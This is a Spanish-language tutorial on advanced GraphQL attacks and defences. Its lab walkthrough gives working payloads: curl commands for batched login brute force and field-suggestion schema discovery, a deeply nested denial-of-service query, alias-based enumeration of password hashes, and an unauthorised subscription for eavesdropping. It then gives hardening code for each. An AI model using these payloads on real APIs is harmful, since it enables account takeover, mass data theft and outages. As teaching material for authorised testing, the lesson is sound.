Aprende › Vulnerabilidades web

GraphQL avanzado: introspection abuse, batching, DoS y fallos de authorization

· 10 min de lectura

Más allá de la introspection básica: ataques de batching, alias amplification, query complexity DoS, fragment injection, subscription abuse y authorization bypass en resolvers y federación GraphQL.

La lección de Mass Assignment y GraphQL cubrió los fundamentos: introspection expuesta, batching básico, aliases y depth limiting. Esta lección va más allá. Los equipos de seguridad de 2026 ya saben desactivar introspection y poner un límite de profundidad, pero los atacantes han desarrollado técnicas avanzadas que sortean esas defensas: query complexity DoS, field suggestion exploitation, fragment injection, subscription abuse, brute force por batching, CSRF en GraphQL y authorization bypass en arquitecturas federadas. Cada una explota un aspecto distinto de la flexibilidad que hace poderoso a GraphQL y, al mismo tiempo, difícil de asegurar.

Es la octava lección de la Tanda 9. Asume que ya conoces los conceptos de la lección anterior y se centra en los vectores que generan más recompensas en bug bounty y más hallazgos en auditorías profesionales hoy.

Practica solo contra APIs autorizadas o laboratorios propios. Atacar un endpoint GraphQL en producción ajena es intrusión y delito.

Qué es la superficie de ataque avanzada de GraphQL#

GraphQL expone un único endpoint que acepta consultas arbitrarias del cliente. Eso crea una superficie de ataque única: cada query es distinta, las defensas basadas en firmas (como un WAF tradicional) son insuficientes, y la lógica de autorización debe aplicarse en cada resolver, no solo en el borde.

GraphQL superficie de ataque: introspection, batching, DoS, subscriptions, fragments, federation
GraphQL superficie de ataque: introspection, batching, DoS, subscriptions, fragments, federation

Los vectores avanzados se agrupan en seis categorías: descubrimiento del schema sin introspection, amplificación por batching y aliases, denegación de servicio por complejidad de query, abuso de subscriptions, inyección de fragments y fallos de autorización en arquitecturas federadas. Cada categoría tiene técnicas, herramientas y mitigaciones propias.

Por qué ocurre: la causa raíz#

La raíz es la misma en todos los casos: GraphQL delega al cliente la definición de la consulta, pero el servidor no siempre valida ni limita lo que ese cliente puede pedir. Los frameworks modernos (Apollo Server, Hasura, graphql-yoga) traen protecciones, pero la mayoría vienen desactivadas por defecto o requieren configuración manual que los equipos de desarrollo omiten por desconocimiento o por prisa.

Un segundo factor es la arquitectura: en GraphQL federado (Apollo Federation, schema stitching), varios subgrafos componen un supergraph. Cada subgrafo tiene sus propios resolvers con su propia lógica de autorización. Un fallo en un subgrafo se propaga al gateway y afecta a toda la API. Los equipos a menudo asumen que el gateway se encarga de la autorización, pero el gateway solo enruta: la responsabilidad queda en cada resolver.

Tipos y variantes de ataque#

VectorDescripciónImpacto
Field suggestionsEl servidor sugiere campos válidos cuando escribes uno incorrecto, revelando el schema sin introspectionDescubrimiento de schema
Batching brute forceMúltiples mutations login en una sola petición para bypass de rate limitingAcceso no autorizado
Query complexity DoSQueries con relaciones anidadas que multiplican el coste exponencialmenteDenegación de servicio
Subscription abuseConexiones WebSocket persistentes que exfiltran datos en tiempo realExfiltración continua
Fragment injectionInline fragments y __typename para acceder a tipos no previstos en uniones e interfacesLectura de datos sensibles
Federation auth gapsSubgrafos sin autorización propia en arquitecturas federadasAcceso a datos de otros servicios
APQ bypassPredicción del hash SHA-256 en Automatic Persisted Queries para ejecutar queries no registradasEjecución de queries arbitrarias
GraphQL CSRFQueries ejecutables vía GET que permiten CSRF desde un sitio externoAcciones no autorizadas

Dónde aparece#

  • APIs públicas con GraphQL expuesto (e-commerce, SaaS, plataformas sociales).
  • Aplicaciones internas con GraphQL federado (microservicios).
  • Mobile backends que usan GraphQL como BFF (Backend for Frontend).
  • Plataformas con subscriptions en tiempo real (chat, notificaciones, trading).
  • Cualquier servidor GraphQL que acepte peticiones GET con el parámetro query.

Cómo se detecta#

TécnicaMétodoHerramienta
Fingerprint del servidorEnviar queries con errores y analizar formato de respuestagraphw00f
Schema inference sin introspectionExplotar field suggestions para reconstruir el schemaClairvoyance
Detección de batchingEnviar array de queries y verificar que se ejecutan todasBatchQL, Burp Repeater
Análisis de complejidadEnviar queries con profundidad y amplitud crecientes, medir tiemposInQL, scripts custom
Detección de subscriptionsConectar por WebSocket al endpoint y enviar subscriptionwebsocat, wscat
Inspección de APQEnviar hash SHA-256 de una query conocida sin haberla registradocurl, Postman
CSRF en GETConstruir URL con query GraphQL y verificar ejecución cross-originNavegador, Burp

Herramientas principales: InQL (Burp extension con scanner integrado), graphql-cop (scanner de seguridad automatizado), Clairvoyance (inferencia de schema), BatchQL (detección y explotación de batching), graphw00f (fingerprinting del engine).

Explotación paso a paso en un laboratorio#

Paso 1 — fingerprinting del engine#

# Detectar que el endpoint es GraphQL
curl -s http://IP_DEL_LAB/graphql -d '{"query":"{__typename}"}' \
  -H "Content-Type: application/json"
# Respuesta esperada: {"data":{"__typename":"Query"}}

# Fingerprint del engine
python3 graphw00f.py -t http://IP_DEL_LAB/graphql
# Salida: Apollo Server / graphql-yoga / Hasura

Paso 2 — field suggestions sin introspection#

# Introspection desactivada:
curl -s http://IP_DEL_LAB/graphql \
  -d '{"query":"{ __schema { types { name } } }"}' \
  -H "Content-Type: application/json"
# Respuesta: "introspection is not allowed"

# Explotar field suggestions:
curl -s http://IP_DEL_LAB/graphql \
  -d '{"query":"{ user(id:1) { passwrd } }"}' \
  -H "Content-Type: application/json"
# Respuesta: Did you mean "password", "passwordHash"?

Paso 3 — batching para brute force#

# Una sola petición HTTP con 100 intentos de login
curl -s http://IP_DEL_LAB/graphql \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation{login(user:\"admin\",pass:\"pass1\"){token}}"},
    {"query":"mutation{login(user:\"admin\",pass:\"pass2\"){token}}"},
    {"query":"mutation{login(user:\"admin\",pass:\"pass3\"){token}}"}
  ]'
# Si el rate limiter cuenta por petición HTTP, los 100 intentos
# se ejecutan como una sola petición

Paso 4 — query complexity DoS#

query {
  users {
    posts {
      comments {
        author {
          posts {
            comments {
              author {
                email
              }
            }
          }
        }
      }
    }
  }
}

Cada nivel multiplica la cantidad de resolvers. Con 1000 usuarios, 10 posts cada uno y 50 comentarios, una sola query genera 1000 x 10 x 50 x 10 x 50 = 250 millones de resoluciones. Sin query cost analysis, el servidor se cae.

Paso 5 — aliases como amplificador de enumeración#

query {
  u1: user(id: 1) { email passwordHash role }
  u2: user(id: 2) { email passwordHash role }
  u3: user(id: 3) { email passwordHash role }
  u4: user(id: 4) { email passwordHash role }
  u5: user(id: 5) { email passwordHash role }
}

Si no hay autorización por resolver, obtienes datos de todos los usuarios en una sola petición. Combinado con un script que genera aliases de u1 a u10000, es enumeración masiva instantánea.

Paso 6 — subscription para exfiltración#

subscription {
  newMessage {
    id
    content
    sender { email role }
  }
}

Conectado vía WebSocket, el atacante recibe en tiempo real cada mensaje que cualquier usuario envía, si el resolver no verifica que el suscriptor tiene permiso para ver esos mensajes.

Qué puede lograr un atacante#

EscenarioTécnicaImpacto
Brute force silenciosoBatching de 1000 mutations login en una peticiónAccount takeover sin activar rate limiter
Enumeración masivaAliases con BOLA en resolversDumping de toda la base de datos accesible
Denegación de servicioQuery con profundidad y amplitud exponencialCaída del servidor y de servicios dependientes
Exfiltración en tiempo realSubscription sin authLectura persistente de mensajes, transacciones, datos sensibles
Descubrimiento de schemaField suggestions con diccionario de camposMapeo completo de la API incluso sin introspection
CSRF de mutationsQuery vía GET ejecutada desde un sitio del atacanteCambio de email, password o configuración de la víctima
Bypass de federaciónQuery que cruza subgrafos con auth inconsistenteAcceso a datos de microservicios internos

Cómo se corrige#

GraphQL defensa en capas: configuración vulnerable vs hardened
GraphQL defensa en capas: configuración vulnerable vs hardened

Desactivar field suggestions en producción#

// Apollo Server 4
const server = new ApolloServer({
  typeDefs,
  resolvers,
  includeStacktraceInErrorMessages: false,
  // Plugin para eliminar suggestions
  plugins: [{
    requestDidStart() {
      return {
        didEncounterErrors({ errors }) {
          for (const err of errors) {
            // Sanitizar mensaje, eliminar "Did you mean..."
            err.message = err.message.replace(/Did you mean.*$/, '');
          }
        }
      };
    }
  }]
});

Query cost analysis#

// graphql-query-complexity
import { createComplexityRule, simpleEstimator } from 'graphql-query-complexity';

const complexityRule = createComplexityRule({
  maximumComplexity: 1000,
  estimators: [
    simpleEstimator({ defaultComplexity: 1 })
  ],
  onComplete: (complexity) => {
    if (complexity > 1000) throw new Error('Query demasiado compleja');
  }
});

Limitar batching y aliases#

// Limitar batch size
app.use('/graphql', (req, res, next) => {
  if (Array.isArray(req.body) && req.body.length > 5) {
    return res.status(400).json({ error: 'Max 5 queries por batch' });
  }
  next();
});

// graphql-armor: protección integral
import { ArmordGraphQL } from '@escape.tech/graphql-armor';
const armor = new ArmordGraphQL({
  maxAliases: { n: 10 },
  maxDepth: { n: 6 },
  costLimit: { maxCost: 5000 }
});

Authorization en cada resolver#

// Correcto: verificar en el resolver
const resolvers = {
  Query: {
    user: (parent, { id }, context) => {
      if (!context.user) throw new AuthenticationError('No autenticado');
      if (context.user.id !== id && !context.user.isAdmin) {
        throw new ForbiddenError('Sin permiso');
      }
      return db.user.findById(id);
    }
  },
  Subscription: {
    newMessage: {
      subscribe: (parent, args, context) => {
        if (!context.user) throw new AuthenticationError('No autenticado');
        // Solo mensajes del canal del usuario
        return pubsub.asyncIterator(`MESSAGES_${context.user.channelId}`);
      }
    }
  }
};

Deshabilitar queries GET#

// Solo aceptar POST en producción
app.use('/graphql', (req, res, next) => {
  if (req.method === 'GET') {
    return res.status(405).json({ error: 'Método no permitido' });
  }
  next();
});

Errores comunes al defenderse#

  • Desactivar introspection pero dejar field suggestions activas: el atacante reconstruye el schema igual.
  • Rate limiting por petición HTTP y no por operación GraphQL: el batching lo anula.
  • Depth limiting sin cost analysis: queries anchas (muchos aliases al mismo nivel) no se bloquean.
  • Authorization en el gateway de federación pero no en los subgrafos: cualquier acceso directo al subgrafo bypasea la protección.
  • Persisted queries como única defensa: si se activa APQ (Automatic Persisted Queries), el atacante envía el hash SHA-256 de una query que construyó y el servidor la registra automáticamente.
  • Asumir que las subscriptions no necesitan auth porque son WebSocket y no HTTP.
  • Confiar en que el frontend no construirá queries maliciosas: cualquier cliente HTTP puede hacerlo.

Casos reales#

En 2023, GitLab parcheó un fallo donde las field suggestions revelaban nombres de campos internos del schema incluso con introspection desactivada. Los investigadores reconstruyeron gran parte del schema privado usando diccionarios de nombres comunes y las sugerencias del servidor.

Shopify reportó en 2021 que su endpoint GraphQL aceptaba batching sin límite, permitiendo brute force de tokens de autenticación con miles de intentos en una sola petición. La corrección fue limitar a 10 operaciones por batch y añadir rate limiting por operación individual.

Facebook ha tenido múltiples reportes en su programa de bug bounty donde queries GraphQL con profundidad excesiva causaban timeouts en servicios internos. Su solución fue implementar un sistema de query cost personalizado que asigna peso a cada campo según la complejidad real de su resolver.

Preguntas frecuentes#

¿Qué diferencia hay entre depth limiting y cost analysis?#

Depth limiting solo mide cuántos niveles de profundidad tiene una query. Cost analysis asigna un coste a cada campo (basado en la complejidad del resolver, si hace JOIN, si pagina) y suma el total. Una query poco profunda pero con 1000 aliases al mismo nivel no se atrapa con depth limiting, pero sí con cost analysis. Ambas se complementan.

¿Las persisted queries resuelven todo?#

No. Las persisted queries (allowlist de queries pre-registradas) eliminan queries arbitrarias, pero solo funcionan en APIs internas donde controlas todos los clientes. En APIs públicas con clientes de terceros, no puedes predecir qué queries necesitarán. Además, APQ (Automatic Persisted Queries) registra queries automáticamente, así que un atacante puede registrar las suyas.

¿GraphQL federado es más o menos seguro?#

Es más complejo, y la complejidad genera vulnerabilidades. Cada subgrafo puede tener implementación, framework y equipo distintos. Un subgrafo sin auth, combinado con un gateway que no verifica permisos por campo, expone datos internos. Netflix, Shopify y Expedia tienen equipos dedicados a auditar la seguridad de su supergraph.

¿Cómo protejo subscriptions?#

Igual que queries y mutations: verificación de identidad al establecer la conexión WebSocket (token en el mensaje connection_init), autorización en cada resolver de subscription, y límite de conexiones concurrentes por usuario. Implementa también un TTL para cerrar conexiones inactivas y evitar que un atacante mantenga miles de sockets abiertos.

¿graphql-cop y InQL son suficientes para auditar?#

Son un buen punto de partida. graphql-cop detecta configuraciones inseguras (introspection, batching, field suggestions, GET habilitado). InQL genera queries desde el schema y permite fuzzing. Pero la autorización en resolvers requiere pruebas manuales: pedir datos de otros usuarios, cruzar subgrafos, verificar cada mutation con distintos roles. No hay herramienta que lo cubra todo.

¿Dónde practico?#

En whoami-labs, el laboratorio profilepeek tiene una API con BOLA que puedes explotar vía queries GraphQL-like con manipulación de identificadores. El laboratorio matrix combina JWT forgery con API endpoint discovery, simulando un escenario donde la autorización se bypasea forjando tokens para acceder a herramientas internas. Ambos refuerzan los conceptos de autorización que esta lección cubre.

Resumen#

  • GraphQL tiene una superficie de ataque amplia que va mucho más allá de introspection: field suggestions, batching, query complexity, subscriptions, fragments y federation.
  • El batching permite brute force silencioso enviando cientos de mutations en una petición HTTP.
  • Query cost analysis es más efectivo que depth limiting para prevenir DoS.
  • Las subscriptions requieren la misma autorización que queries y mutations, pero a menudo se olvida.
  • En GraphQL federado, cada subgrafo debe implementar su propia autorización; el gateway no basta.
  • Herramientas: graphql-cop para detección automatizada, Clairvoyance para inference sin introspection, InQL para análisis en Burp, BatchQL para batching.

Fuentes y lecturas recomendadas#

Practícalo en estos laboratorios

Ver todos los laboratorios de esta categoría